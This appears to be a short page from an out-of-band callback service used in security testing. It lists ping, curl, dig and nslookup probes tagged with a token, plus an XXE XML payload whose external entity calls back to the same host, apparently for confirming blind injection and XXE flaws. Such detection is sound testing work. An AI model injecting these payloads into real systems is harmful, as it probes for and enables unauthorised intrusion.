$ ping -c1 -p 0012f7570029fad6d88097229affde00 unhack.ca
 
$ curl http://unhack.ca/p/12f7570029fad6d88097229affde
 
$ dig 12f7570029fad6d88097229affde @unhack.ca
 
$ dig 12f7570029fad6d88097229affde.ns.unhack.ca
 
C:\> nslookup 12f7570029fad6d88097229affde unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/12f7570029fad6d88097229affde">]>
    <foo>&xxe;</foo>
 
Waiting for ping...